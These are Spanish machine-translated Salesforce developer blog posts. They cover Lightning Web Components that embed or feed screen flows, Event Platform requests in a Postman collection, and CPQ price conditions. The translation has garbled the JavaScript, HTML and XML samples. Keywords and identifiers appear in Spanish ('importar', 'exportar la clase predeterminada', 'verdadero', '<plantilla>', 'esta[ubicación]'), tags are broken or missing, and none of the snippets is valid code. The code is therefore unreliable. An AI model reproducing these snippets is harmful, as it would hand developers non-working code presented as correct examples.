  3. getRecordUi : obtiene los detalles de diseño de un registro, como qué campos se muestran, cómo se muestran, etc.
  4. createRecord : este método le permite crear un nuevo registro.
  5. deleteRecord – Le permite eliminar un registro.
  6. updateRecord : te permite actualizar un registro existente.

En el archivo de configuración XML, usaremos lightning__RecordPage como destino para permitir que el componente web de iluminación se use en una página de registro en Lightning App Builder.

Práctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito comercial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un ScreenFlow (customerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  2. Cree un ScreenFlow (partnerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  3. Cree un componente web relámpago para mostrar los diferentes flujos de pantalla según el tipo de cuenta

Paso 1.1: Definir propiedades de flujo (customerFlow)

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 1.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuación, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente información :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 1.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : customerFlow {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 2.1: Definir propiedades de flujo (partnerFlow)

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 2.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuación, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente información :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 2.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : flujo de socio { !$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 3: cree un componente web Lightning para mostrar los diferentes flujos de pantalla según el tipo de cuenta

Debajo de la plantilla de componente web lightning, se muestra una tarjeta Lightning titulada Iniciar pedido . Dependiendo de si la propiedad isPartner o isCustomer es verdadera, se iniciará y mostrará el Lightning Flow correspondiente ("rakeshistomMVP__partnerFlow" o "rakeshistomMVP__customerFlow").

embedFlowToLWC.html

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Desglosemos el código:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • <template if:true={isPartner}> y <template if:true={isCustomer}> : estas son plantillas condicionales que muestran contenido en función de la veracidad de las propiedades isPartner e isCustomer , respectivamente. El contenido dentro de estas plantillas solo se representará si la condición correspondiente es verdadera.

<plantilla> <div class="slds-m-alrededor_medio"> <lightning-card title="Iniciar pedido" icon-name="estándar:pedidos"> <div class="slds-m-alrededor_medio"> <template if:true={esSocio}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__partnerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> <template if:true={esCliente}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__customerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> </div> </tarjeta-relámpago> </div>
</plantilla>
embedFlowToLWC.js

Este código JavaScript de muestra usa el decorador @api para crear propiedades públicas. Por ejemplo, recordId es una propiedad reactiva pública que contiene el ID de la página de registro. Mientras que el decorador @wire lee los datos de Salesforce. getRecord es una función del módulo lightning/uiRecordApi que recupera un registro. accountType y accountName se importan del esquema de Salesforce.

  • Las declaraciones de importación se utilizan para importar los módulos y las dependencias necesarios. LightningElement es el componente básico para crear componentes web Lightning.
  • account({ error, data }) es una función que maneja la respuesta de la llamada getRecord . Si hay un error, asigna el error a this.error . Si se devuelven datos, establece this.accountName en el nombre de la cuenta y establece isPartner o isCustomer en verdadero según el tipo de cuenta.
  • get inputVariables() es un método captador que devuelve una matriz de objetos, que representa variables de entrada para un flujo. En este caso, devuelve el nombre de la cuenta.

import { LightningElement, api, wire } de 'lwc';
importar { getRecord } desde 'lightning/uiRecordApi';
importar tipo de cuenta desde '@salesforce/schema/Account.Type';
importar nombre de cuenta desde '@salesforce/schema/Account.Name'; exportar la clase predeterminada FlowLauncher extiende LightningElement { @api recordId; nombre de la cuenta; esSocio = falso; esCliente = falso; @wire(getRecord, { recordId: '$recordId', campos: [nombre de cuenta, tipo de cuenta] }) cuenta ({ error, datos }) { si (error) { this.error = error; } más si (datos) { this.accountName = data.fields.Name.value; if(data.fields.Type.value === 'Socio tecnológico') { this.isPartner = verdadero; this.isCustomer = false; } else if(data.fields.Type.value === 'Cliente - Directo') { this.isCustomer = true; this.isPartner = false; } } } obtener variables de entrada () { devolver [ { nombre: 'nombre de cuenta', tipo: 'Cadena', valor: este.nombreDeCuenta } ]; } handleStatusChange(evento) { if(evento.detalle.estado === 'FINALIZADO') { //Acción después de que un flujo haya terminado } }
}
embedFlowToLWC.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente esté disponible para su uso en herramientas como Lightning App Builder o Flow Builder.

El elemento de objetivos se usa para especificar dónde se puede usar su componente. En este caso, la etiqueta lightning__RecordPage significa que este componente está diseñado para usarse en una página de registro en Lightning App Builder.



<?versión xml=”1.0″ codificación=”UTF-8″?>
<LightningComponentBundle xmlns=”http://soap.sforce.com/2006/04/metadata”>
<apiVersion>58.0</apiVersion>
<isExposed>verdadero</isExposed>
<target>relámpago__RecordPage</target>
</objetivos>
</LightningComponentBundle>

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Pasar datos del componente web Lightning al flujo de pantalla

Pasar datos del componente web Lightning al flujo de pantalla

Última actualización el 17 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo pasa datos del componente web lightning al flujo de pantalla principal?

Objetivos:

Después de leer este blog, podrá:

  • Incruste un componente web relámpago dentro del flujo de pantalla
  • Pase los datos del componente web lightning a una variable de flujo
  • Interactuar con el componente web lightning y los elementos de flujo de pantalla en la misma pantalla
  • y mucho más

En el pasado, escribí algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Uso del componente web Lightning para mostrar un banner de alerta
  2. Obtenga el Id. de registro y el nombre de la API del objeto en el componente web Lightning

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Janel tiene un requisito comercial para hacer lo siguiente:

  1. Desarrollar un componente LWC capaz de recibir entradas de latitud y longitud.
  2. Pase los valores introducidos a los componentes de flujo de pantalla correspondientes.

Construir pantallas con componentes reactivos

Con la función Crear pantallas con componentes interactivos (actualmente en versión beta), ahora puede habilitar la interacción directa entre un componente web Lightning y otros elementos de flujo en la misma pantalla.

Anteriormente, no existía una disposición directa para la interacción dinámica entre un componente web Lightning y los elementos de flujo. Como resultado, los usuarios tenían que navegar a la siguiente pantalla para ver los datos pasados por el componente web Lightning en Screen Flow.

Enfoque de Campeón de Automatización (I-do):

Al crear el componente web Lightning, también utilizaremos el evento FlowAttributeChangeEvent . Esto permitirá que un componente controle la navegación del flujo y notifique al flujo los cambios en los valores de los atributos.

Los eventos FlowAttributeChangeEvent solo se admiten en componentes donde el destino es lightning__FlowScreen .

Práctica guiada (nosotros hacemos):

Hay 2 pasos para resolver el requisito empresarial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un componente web Lightning de ubicación de entrada para Screen Flow
  2. Pasos de flujo de Salesforce
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una pantalla para mostrar el componente personalizado de ubicación de entrada
    3. Agregar un componente de número de entrada para mostrar la latitud desde la ubicación de entrada Componente LWC
    4. Agregar un componente de número de entrada para mostrar la longitud desde la ubicación de entrada Componente LWC

Paso 1: Cree un componente web Lightning de ubicación de entrada para Screen Flow

En primer lugar, cree un componente web Lightning de ubicación de entrada con el siguiente código. El componente lightning-input-location representa un campo de geolocalización compuesto que acepta valores de latitud y longitud introducidos por el usuario, siendo ambos coordenadas geográficas expresadas en grados decimales. Le permite identificar ubicaciones utilizando estas coordenadas.

El rango aceptable para la latitud está entre -90 y 90, mientras que la longitud acepta valores de -180 a 180. Cualquier entrada más allá de estos rangos especificados genera un mensaje de error. Este ejemplo muestra un campo de geolocalización compuesto, que muestra una latitud de 27,70750 y una longitud de -122,3948370.

Si no sabe cómo crear un componente Lightning, consulte esta guía para desarrolladores, Crear un componente web Lightning .

lwcToScreenFlow.html

Utilizaremos el componente de ubicación de entrada de rayos para aceptar valores de latitud y longitud. Desglosemos el código:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • latitude={latitude} :- Esto vincula la propiedad de latitud de la clase JavaScript de LWC con el atributo de latitud del componente.
  • longitude={longitude} :- Similar a la latitud, esto une la propiedad de longitud de la clase JavaScript de LWC con el atributo de longitud del componente.
  • onchange={handleChange} :- Esto configura un detector de eventos en el componente. Cada vez que cambia el valor del componente (ya sea latitud o longitud), se llama al método handleChange de la clase JavaScript de LWC.

<plantilla> <relámpago-entrada-ubicación etiqueta="Coordenadas predeterminadas" latitud={latitud} longitud={longitud} onchange={handleChange}> </ubicación-de-entrada-del-relámpago>
</plantilla>
lwcToScreenFlow.js

Este código JavaScript de muestra utiliza el decorador @api para crear propiedades públicas, es decir, accesibles desde otros componentes o utilizadas en plantillas HTML. Por ejemplo, @api latitude y @api longitude declaran dos propiedades públicas.

  • FlowAttributeChangeEvent crea y distribuye el evento personalizado que transfiere datos del componente web Lightning a un flujo.
  • handleChange(event) es un método de controlador de eventos que se llama cuando ocurre un evento de cambio en el componente lightning-input-location en la plantilla HTML de LWC.
  • this.latitude = event.target.latitude y this.longitude = event.target.longitude , estas líneas actualizan las propiedades de latitud y longitud con los valores del objetivo del evento (el componente lightning-input-location).
  • [“latitud”, “longitud”].forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(loc, this[loc]))) , esta línea recorre una matriz que contiene cadenas de latitud y longitud, y para cada uno de estos, envía un nuevo FlowAttributeChangeEvent.

importar { LightningElement, api } desde 'lwc';
importar {FlowAttributeChangeEvent} desde 'lightning/flowSupport'; exportar la clase predeterminada LwcToScreenFlow extiende LightningElement { @api latitud; @api longitud; handleChange(evento){ esta.latitud = evento.objetivo.latitud; this.longitude = event.target.longitude; ["latitud", "longitud"].forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(ubicación, esta[ubicación])) ); }
}
lwcToScreenFlow.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente esté disponible para su uso en herramientas como Lightning App Builder o Flow Builder. El elemento de objetivos se usa para especificar dónde se puede usar su componente. En este caso, la etiqueta lightning__FlowScreen significa que este componente está diseñado para usarse en las pantallas de Salesforce Flow.

Los elementos targetConfigs y targetConfig le permiten definir propiedades que se pueden establecer en el contexto del constructor. En este caso, las propiedades son latitud y longitud . Ambos están configurados para ser del tipo Integer y tienen la función de outputOnly , lo que significa que se pueden configurar en el flujo, pero el usuario no puede modificarlos dentro del componente. Estas propiedades se pueden usar para pasar datos del LWC al flujo.


<?versión xml="1.0" codificación="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>58.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>relámpago__FlowScreen</target> </objetivos> <configuraciones de destino> <targetConfig objetivos="relámpago__FlowScreen"> <property label="Latitude" name="latitude" type="Integer" role="outputOnly"/> <property label="Longitud" name="longitud" type="Integer" role="outputOnly"/> </targetConfig> </configuraciones de destino>
</LightningComponentBundle>

Paso 2.1: Definir propiedades de flujo

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 2.2: agregue una pantalla para mostrar el componente personalizado de ubicación de entrada

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Paso 2.3: Agregue un componente de número de entrada para mostrar la latitud desde el componente LWC de ubicación de entrada

  1. En la sección Entrada en Elemento de pantalla , arrastre y suelte el componente Número en la pantalla.
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
    2. Valor predeterminado : {!lwcToFlow.latitude}
  3. Haga clic en Listo.

Paso 2.4: Agregar un componente de número de entrada para mostrar la longitud desde la ubicación de entrada Componente LWC

  1. En la sección Entrada en Elemento de pantalla , arrastre y suelte el componente Número en la pantalla.
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
    2. Valor predeterminado : {!lwcToFlow.longitude}
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : Pase de Screen Flow a LWC {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Explore la API de la plataforma de eventos con la colección de cartero extendida ☁️

Explore la API de la plataforma de eventos con la colección de cartero extendida ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Explore la API de la plataforma de eventos con la colección extendida de Postman | Blog de desarrolladores de Salesforce

Para una gran cantidad de nuestros clientes, la plataforma Salesforce sirve como la piedra angular de sus sistemas de información y, por lo tanto, debe integrarse perfectamente con una amplia gama de sistemas de terceros. Entre las muchas opciones de integración disponibles se encuentra la plataforma de eventos de Salesforce.

En esta publicación, repasaremos brevemente la plataforma de eventos y luego exploraremos la nueva plataforma de eventos y las solicitudes de API que se agregaron a la colección de API de la plataforma de Salesforce en Postman. También aprenderá cómo introdujimos la capacidad de configurar Event Relays y canales personalizados con Postman.

Acerca de la plataforma de eventos de Salesforce

Event Platform consta de diferentes funciones que le permiten crear arquitecturas basadas en eventos gracias a Salesforce Event Bus.

Tipos de eventos

El bus de eventos de Salesforce admite dos tipos principales de eventos casi en tiempo real: eventos de plataforma y eventos de cambio.

Los eventos de la Plataforma permiten la comunicación dentro de la Plataforma y con sistemas externos. Estos eventos se pueden enviar y recibir con código personalizado o herramientas declarativas, como Flow. Hay eventos de plataforma estándar con campos predefinidos y eventos personalizados que puede crear con campos personalizados.

Los eventos de cambio son enviados automáticamente por la Plataforma cada vez que se crea, modifica, elimina o recupera un registro. Cada evento de cambio está vinculado a un objeto de Salesforce estándar o personalizado, y los campos de evento coinciden con los de su objeto principal.

Los eventos de plataforma y los eventos de cambio se pueden enviar y recibir gracias a una selección de dos tecnologías de transmisión: la biblioteca CometD heredada o la API Pub/Sub basada en gRCP más moderna . Independientemente de la tecnología o el tipo de evento, publica o se suscribe a eventos a través de canales dedicados.

Canales personalizados

Puede definir un canal personalizado para agrupar mensajes de eventos del mismo tipo (eventos de plataforma o eventos de cambio) en una transmisión. Por ejemplo, puede combinar eventos de cambio de cuenta, contacto y pedido en un solo canal personalizado CustomerUpdates__chn . Después de suscribirse a este canal, recibirá notificaciones sobre cambios en cualquiera de esos tres objetos.

Tenga en cuenta que los canales personalizados son compatibles con eventos de plataforma personalizados, pero no con eventos de plataforma estándar.

Además de la capacidad de agrupar varios eventos, los canales personalizados desbloquean dos funciones: filtrado de eventos y cambio de enriquecimiento de eventos.

El filtrado de eventos le permite configurar expresiones que filtran los eventos que se envían en un canal personalizado. Por ejemplo, podría crear un canal específico como UkLargeCustomerUpdates__chn que filtra las actualizaciones de la cuenta, donde el país de facturación es el Reino Unido y los ingresos anuales superan los 500k. El uso del filtrado de eventos ayuda a simplificar el código del lado del cliente, pero también ayuda a evitar los límites máximos de suscriptores simultáneos .

Los canales personalizados de Change Data Capture también otorgan la capacidad de declarar campos enriquecidos . Cuando se trabaja con eventos de cambio, solo se pasan los valores de campo actualizados en los datos del evento. Esta optimización puede ser problemática en ciertas situaciones, por ejemplo, cuando desea sincronizar con un sistema de terceros con una ID externa. En este caso, el ID externo no cambia, por lo que nunca forma parte de los datos del evento de cambio. Afortunadamente, el enriquecimiento de campos le permite declarar un canal personalizado en el que puede especificar campos que siempre se pasarán en el contexto de eventos de cambio.

Relevo de eventos

Event Relay le permite integrar perfectamente los eventos en tiempo real de Salesforce con Amazon Web Services (AWS). Gracias a Event Relay, los eventos de la plataforma y los eventos de Change Data Capture se envían a Amazon EventBridge a través de canales y los componentes de AWS pueden consumirlos directamente. Los componentes de AWS también pueden publicar eventos de plataforma de forma nativa.

Consulte esta publicación de Event Relay para obtener más información.

Antes del lanzamiento de Summer '23, Event Relay solo se podía configurar a través de las API. Ahora, hay una interfaz de usuario dedicada en Configuración. La única pieza que aún necesita crear a través de la API de herramientas o la API de metadatos son los canales personalizados.

Actualizaciones de Salesforce Event Platform para la colección Postman

En junio, actualizamos la colección de API de Salesforce Platform para Postman para incluir solicitudes para interactuar con Event Platform . Si no está familiarizado con Postman o la colección de API de plataforma, eche un vistazo al proyecto Quick Start: Connect Postman to Salesforce Trailhead para comenzar.

Canales personalizados

Nuestras nuevas solicitudes de Postman son un gran ahorro de tiempo ya que, a partir del lanzamiento de Summer '23, los canales personalizados solo se pueden configurar a través de metadatos o llamadas a la API de herramientas y no se pueden modificar directamente en la configuración de Salesforce.

Hemos introducido una serie de solicitudes para realizar operaciones de creación, lectura, actualización y eliminación (CRUD) en canales personalizados y los dos tipos de metadatos relacionados: PlatformEventChannel (consulte los documentos ) y PlatformEventChannelMember (consulte los documentos ).

A pesar de sus nombres, estos tipos de metadatos funcionan tanto para eventos de plataforma como para canales personalizados de eventos de cambio. Las únicas diferencias son que el valor del atributo ChannelType debe establecerse en event para eventos de plataforma o data para eventos de cambio, y que el atributo EnrichedFields solo está disponible para canales personalizados de eventos de cambio.

Publicar eventos de la plataforma

Hemos agregado una serie de ejemplos para eventos de plataforma de publicación. Movimos la solicitud de la API REST existente a la nueva subcarpeta Publicar eventos de la plataforma y agregamos dos ejemplos para publicar varios eventos en una sola solicitud con la API compuesta y la API SOAP.

Configuración de retransmisión de eventos

La carpeta Configuración de retransmisión de eventos es donde se encuentran la mayoría de las solicitudes nuevas. Estas nuevas solicitudes son fundamentales para configurar un relevo de eventos:

  • Operaciones CRUD en Credenciales con nombre que se introdujeron en Summer '23
  • Operaciones CRUD en la configuración de Event Relay
  • Comentarios de retransmisión de eventos de consultoría

esquema de eventos

Agregamos dos nuevas solicitudes para recuperar el esquema de un evento de plataforma, ya sea desde su ID o desde su nombre . Estas solicitudes son útiles para recuperar los campos de los eventos.

Lo que nos depara la colección Postman

Invertimos continuamente en nuestra colección de API de plataforma y buscamos agregar soporte para la suscripción a eventos de la API Pub Sub. CometD no será compatible, ya que es una biblioteca que requiere un servidor de aplicaciones, pero estamos considerando conectarnos con la API Pub/Sub basada en gRPC .

Postman ha lanzado una serie de funciones para interactuar con las API de gRPC desde el año pasado. Gracias a esto, podemos conectarnos a la API de Pub/Sub, suscribirnos a eventos y recibirlos. Sin embargo, lamentablemente no podemos decodificar su carga útil, ya que está comprimida por la plataforma de Salesforce por motivos de rendimiento. Estamos esperando una nueva característica de Postman que nos permita cargar una biblioteca (Apache Avro) para decodificar las cargas útiles de eventos cuando se reciben.

palabras de cierre

Eso es todo para nuestra breve descripción general de Event Platform y las últimas incorporaciones a la colección de API de Salesforce Platform. Gracias al crecimiento de esta caja de herramientas, puede comenzar rápidamente a explorar y configurar Event Platform.

Si disfruta de nuestro contenido de Postman, háganoslo saber. También puede echar un vistazo a nuestras otras colecciones de código abierto y contribuir .

Recursos

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Sugar Rush of Salesforce CPQ Pricing: ¡Revelación de condiciones de precio y acciones en el país de las maravillas de las tiendas de golosinas!

Sugar Rush of Salesforce CPQ Pricing: ¡Revelación de condiciones de precio y acciones en el país de las maravillas de las tiendas de golosinas!

¡Bienvenido al encantador Candy Store Wonderland, donde nos sumergiremos en la encantadora aventura de la magia de fijación de precios de Salesforce CPQ! Desenvolveremos la condición del precio y la acción del precio con los escenarios de la tienda de golosinas.

Exploraremos ejemplos de condiciones de precios cubiertas de dulces como "Obtenga una bolsa de regalo con la compra de deliciosos dulces de chocolate", acciones de precios dulces como "Compre uno, obtenga un dulce gratis para duplicar la dulzura" que lo dejarán con ganas de más. Descubriremos cómo se pueden personalizar las condiciones de precio y las acciones para crear promociones, descuentos y ofertas únicos que hagan que los clientes regresen para disfrutar de más aventuras llenas de dulces.

¡Despleguemos juntos la magia de los precios!

Precio Condición

Exploremos el uso del objeto Condición de precio con la ayuda de casos de uso.

1. Descuento por tipo de caramelo:

– Condición: establezca el campo en "Tipo de caramelo" y el operador en "Iguales". Especifique el valor como "Ositos de gominola".

– Resultado: cuando un cliente agrega dulces de ositos de goma a su cotización, la Condición de precio evaluará el tipo de dulce y aplicará la acción de fijación de precios definida, como un descuento o un precio ajustado.

2. Umbral de cantidad:

– Condición: Defina el Campo como “Cantidad” y el Operador como “Mayor que” o “Igual”. Establezca el Valor como un umbral de cantidad específico, como 10.

– Resultado: cuando un cliente agrega dulces a su cotización y la cantidad supera el umbral especificado, la condición de precio activará una acción de fijación de precios, como un descuento por volumen o un nivel de precios diferente.

3. Condición de atributo personalizado:

– Condición: defina un campo personalizado en la sección Campo, como “Dulces orgánicos”. Establezca el Operador en "Equals" y el Valor en "True".

– Resultado: cuando un cliente agrega dulces orgánicos a su cotización, la Condición de precio verificará el atributo personalizado y aplicará una acción de precio específica, como un precio premium o un descuento para productos orgánicos.

4. Promoción basada en fechas:

– Condición: Especifique el campo como “Fecha de cotización” Establezca el Operador en “Dentro del rango” y proporcione el rango de fechas deseado para la promoción.

– Resultado: cuando la cotización o el artículo de línea se encuentran dentro del rango de fechas especificado, la Condición de precio activará una acción de fijación de precios, como un descuento por tiempo limitado o una oferta especial.

El objeto Regla de precio y Condición de precio tienen una relación maestro-detalle.

Una captura de pantalla de una computadora Descripción generada automáticamente

Descripción de los campos en el objeto de condición de precio

Una captura de pantalla de una computadora Descripción generada automáticamente

¿Cuál es el uso del campo de regla de precio en el objeto de condición de precio?

Conecta la condición de precio con la regla de precio principal. Significa a qué regla de precio está asociada la condición de precio y determina bajo qué regla se debe evaluar la condición.

¿Cuál es el significado de Objeto y Campo en la Condición de Precio?

Fondo con rayas amarillas y blancas Descripción generada automáticamente

Al crear una Condición de precio, selecciona el objeto apropiado de las opciones disponibles en el campo "Objeto". Esto especifica el objeto relacionado al que desea hacer referencia en la condición. Una vez que seleccione el objeto, puede elegir el campo específico de ese objeto en el campo "Campo de objeto".

Por ejemplo, supongamos que tiene una Condición de precio que verifica si el campo "Sabor a caramelo" en el objeto Línea de cotización relacionado es igual a "Limón". En este caso, seleccionaría el objeto "Línea de cotización" en el campo "Objeto" y luego elegiría el campo "Sabor a caramelo".

Escenario: configure una condición de precio para verificar si el campo "Tipo" del caramelo asociado con la línea de cotización es igual a "Gummy Bear".

Así es como funciona:

1. En el registro de Condición de precio, seleccionaría el objeto "Línea de cotización" en el campo "Objeto". Esto indica que desea evaluar un campo del objeto Línea de cotización.

2. A continuación, en el campo "Object Field", elegiría el campo "Candy.Type". Esto especifica que desea hacer referencia al campo "Tipo" del objeto Candy relacionado asociado con la línea de cotización.

3. Para completar la condición, establecería el operador como "Equals" y proporcionaría el valor "Gummy Bear". Esta condición verificará si el tipo de Caramelo para la línea de cotización asociada es "Gummy Bear".

Una captura de pantalla de una computadora Descripción generada automáticamente

¿Qué es el campo variable probado en la condición de precio?

El campo "Variables probadas" en el objeto Condición de precio le permite almacenar y hacer referencia a valores intermedios durante la evaluación de la condición. Entendamos su uso con un ejemplo de caramelo.

Escenario: Desea aplicar un descuento en un tipo específico de golosina, pero solo si la cantidad total de todos los artículos de golosina en la cotización supera un límite determinado.

1. Precio Condición:

– Objeto: Línea de cotización

– Campo de objeto: Producto.Tipo (para verificar el tipo de dulce)

– Condición: Tipo de Caramelo es igual a “Barra de Chocolate”

2. Variables probadas:

– Cree una variable probada llamada "TotalCandyQty" para almacenar la cantidad total de todos los artículos de dulces en la cotización.

3. Acción del precio:

– Objeto: Cita

– Campo de objeto: Porcentaje de descuento

– Acción: Actualizar Campo

– Valor: si TotalCandyQty es mayor que 10, establezca el Porcentaje de descuento en 10 %; de lo contrario, ajústelo al 5%.

Solución

En este ejemplo, la Condición de precio verifica si el tipo de dulce es "Barra de chocolate" para cada línea de cotización. Si coincide, puede utilizar el campo "Variables probadas" para almacenar la cantidad total de todos los dulces en la cotización.

La Acción del precio luego actualiza el campo Porcentaje de descuento en la Cotización en función del valor de la variable probada "TotalCandyQty". Si la cantidad total de artículos de dulces en la cotización supera los 10, se aplica un descuento del 10%. En caso contrario, se aplica un descuento del 5%.

Al usar el campo "Variables probadas", puede calcular y almacenar la cantidad total de dulces en la cotización y usarla en acciones posteriores para determinar el porcentaje de descuento apropiado. Esto le permite aplicar diferentes descuentos en función de la cantidad total de dulces en la cotización.

¿Cuál es el uso del campo de fórmula probado en la condición de precio?

Un objeto rectangular blanco con un borde negro Descripción generada automáticamente

El campo "Fórmula probada" en una Condición de precio le permite definir una expresión de fórmula que se evalúa para determinar si la condición se cumple o no. Le permite crear condiciones dinámicas que consideran diferentes factores.

Escenario: desea aplicar un descuento en un producto solo si se cumplen las siguientes condiciones:

– El producto es una “Barra de Chocolate” o un “Osito de Gominola”.

– La cantidad del producto es mayor o igual a 10.

– El precio total del producto supera los $50.

Para configurar esta condición usando una fórmula probada:

1. Cree una Condición de Precio con los siguientes detalles:

– Objeto: Línea de cotización

– Fórmula probada: ingrese la expresión de la fórmula que combina las condiciones:

`(Tipo de producto = "Barra de chocolate" || Tipo de producto = "Osito de goma") && Cantidad >= 10 && Precio total > 50`

En este ejemplo, la fórmula probada combina múltiples condiciones usando operadores lógicos (|| para OR, && para AND). Comprueba si el tipo de producto es "Barra de chocolate" o "Gummy Bear", la cantidad es mayor o igual a 10 y el precio total es mayor a $50. Solo si todas estas condiciones son ciertas, se cumplirá la Condición de Precio.

¿Cuál es la diferencia entre la “Fórmula Probada” en una Condición de Precio y la “Condición Avanzada” en una Regla de Precio?

La "Fórmula Probada" en una Condición de Precio y la "Condición Avanzada" en una Regla de Precio le permiten definir condiciones complejas para determinar cuándo se debe aplicar una acción o ajuste específico. Sin embargo, hay algunas diferencias clave entre ellos:

Fórmula probada en condición de precio:

– Se utiliza dentro de una Condición de precio para evaluar si la condición se cumple o no para elementos de línea de cotización individuales.

